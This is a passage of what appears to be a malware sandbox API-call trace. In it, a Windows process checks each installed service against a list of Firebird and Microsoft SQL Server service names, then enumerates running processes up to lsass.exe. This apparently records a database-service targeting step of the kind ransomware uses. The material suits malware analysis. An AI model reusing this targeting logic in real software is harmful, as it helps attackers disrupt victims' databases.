lpString2="Appinfo") returned 1 [0216.681] lstrlenW (lpString="AppXSvc") returned 7 [0216.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0216.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0216.681] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0216.681] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0216.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0216.681] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0216.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0216.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0216.681] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0216.681] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0216.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0216.681] lstrlenW (lpString="Audiosrv") returned 8 [0216.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0216.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0216.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0216.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0216.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0216.682] lstrlenW (lpString="BFE") returned 3 [0216.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0216.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0216.682] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0216.682] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0216.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0216.682] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0216.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0216.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0216.682] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0216.682] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0216.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0216.682] lstrlenW (lpString="CDPSvc") returned 6 [0216.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0216.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0216.682] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0216.682] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0216.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0216.682] lstrlenW (lpString="ClickToRunSvc") returned 13 [0216.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0216.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0216.682] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0216.682] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0216.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0216.682] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0216.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0216.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0216.682] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0216.682] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0216.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0216.682] lstrlenW (lpString="CryptSvc") returned 8 [0216.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0216.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0216.683] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0216.683] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0216.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0216.683] lstrlenW (lpString="DcomLaunch") returned 10 [0216.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0216.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0216.683] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0216.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0216.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0216.683] lstrlenW (lpString="DeviceAssociationService") returned 24 [0216.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0216.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0216.683] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0216.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0216.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0216.683] lstrlenW (lpString="Dhcp") returned 4 [0216.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0216.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0216.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0216.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0216.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0216.683] lstrlenW (lpString="Dnscache") returned 8 [0216.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0216.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0216.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0216.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0216.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0216.683] lstrlenW (lpString="DPS") returned 3 [0216.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0216.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0216.683] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0216.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0216.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0216.684] lstrlenW (lpString="DusmSvc") returned 7 [0216.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0216.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0216.684] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0216.684] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0216.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0216.684] lstrlenW (lpString="EventLog") returned 8 [0216.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0216.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0216.684] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0216.684] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0216.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0216.684] lstrlenW (lpString="EventSystem") returned 11 [0216.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0216.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0216.684] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0216.684] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0216.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0216.684] lstrlenW (lpString="FontCache") returned 9 [0216.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0216.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0216.684] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0216.684] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0216.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0216.684] lstrlenW (lpString="gpsvc") returned 5 [0216.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0216.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0216.684] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0216.684] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0216.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0216.684] lstrlenW (lpString="iphlpsvc") returned 8 [0216.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0216.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0216.684] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0216.685] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0216.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0216.685] lstrlenW (lpString="KeyIso") returned 6 [0216.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0216.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0216.685] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0216.685] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0216.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0216.685] lstrlenW (lpString="LanmanServer") returned 12 [0216.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0216.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0216.685] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0216.685] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0216.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0216.685] lstrlenW (lpString="LanmanWorkstation") returned 17 [0216.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0216.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0216.685] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0216.685] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0216.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0216.685] lstrlenW (lpString="lfsvc") returned 5 [0216.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0216.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0216.685] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0216.685] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0216.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0216.685] lstrlenW (lpString="lmhosts") returned 7 [0216.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0216.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0216.685] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0216.685] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0216.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0216.685] lstrlenW (lpString="LSM") returned 3 [0216.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0216.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0216.686] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0216.686] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0216.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0216.686] lstrlenW (lpString="MpsSvc") returned 6 [0216.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0216.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0216.686] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0216.686] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0216.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0216.686] lstrlenW (lpString="NcbService") returned 10 [0216.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0216.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0216.686] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0216.686] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0216.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0216.686] lstrlenW (lpString="netprofm") returned 8 [0216.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0216.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0216.686] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0216.686] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0216.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0216.686] lstrlenW (lpString="NgcSvc") returned 6 [0216.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0216.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0216.686] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0216.686] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0216.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0216.686] lstrlenW (lpString="NlaSvc") returned 6 [0216.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0216.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0216.686] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0216.686] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0216.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0216.686] lstrlenW (lpString="nsi") returned 3 [0216.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0216.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0216.687] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0216.687] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0216.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0216.687] lstrlenW (lpString="PcaSvc") returned 6 [0216.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0216.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0216.687] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0216.687] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0216.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0216.687] lstrlenW (lpString="PlugPlay") returned 8 [0216.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0216.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0216.687] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0216.687] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0216.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0216.687] lstrlenW (lpString="Power") returned 5 [0216.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0216.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0216.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0216.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0216.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0216.687] lstrlenW (lpString="ProfSvc") returned 7 [0216.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0216.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0216.687] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0216.687] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0216.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0216.687] lstrlenW (lpString="RpcEptMapper") returned 12 [0216.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0216.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0216.687] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0216.687] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0216.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0216.688] lstrlenW (lpString="RpcSs") returned 5 [0216.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0216.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0216.688] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0216.688] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0216.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0216.688] lstrlenW (lpString="SamSs") returned 5 [0216.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0216.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0216.688] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0216.688] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0216.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0216.688] lstrlenW (lpString="Schedule") returned 8 [0216.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0216.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0216.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0216.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0216.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0216.688] lstrlenW (lpString="SecurityHealthService") returned 21 [0216.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0216.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0216.688] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0216.688] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0216.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0216.688] lstrlenW (lpString="SENS") returned 4 [0216.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0216.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0216.688] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0216.688] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0216.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0216.688] lstrlenW (lpString="ShellHWDetection") returned 16 [0216.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0216.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0216.688] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0216.688] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0216.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0216.689] lstrlenW (lpString="Spooler") returned 7 [0216.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0216.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0216.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0216.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0216.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0216.689] lstrlenW (lpString="StateRepository") returned 15 [0216.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0216.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0216.689] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0216.689] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0216.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0216.689] lstrlenW (lpString="SysMain") returned 7 [0216.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0216.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0216.689] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0216.689] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0216.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0216.689] lstrlenW (lpString="SystemEventsBroker") returned 18 [0216.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0216.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0216.689] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0216.689] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0216.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0216.689] lstrlenW (lpString="Themes") returned 6 [0216.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0216.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0216.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0216.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0216.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0216.689] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0216.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0216.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0216.690] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0216.690] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0216.690] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x574 [0216.694] Process32FirstW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.024] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.024] lstrlenW (lpString="System") returned 6 [0217.024] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.025] lstrlenW (lpString="smss.exe") returned 8 [0217.025] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.026] lstrlenW (lpString="csrss.exe") returned 9 [0217.026] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.026] lstrlenW (lpString="wininit.exe") returned 11 [0217.026] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.027] lstrlenW (lpString="csrss.exe") returned 9 [0217.027] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.027] lstrlenW (lpString="winlogon.exe") returned 12 [0217.027] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.027] lstrlenW (lpString="services.exe") returned 12 [0217.027] Process32NextW (in: hSnapshot=0x574, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.028] lstrlenW 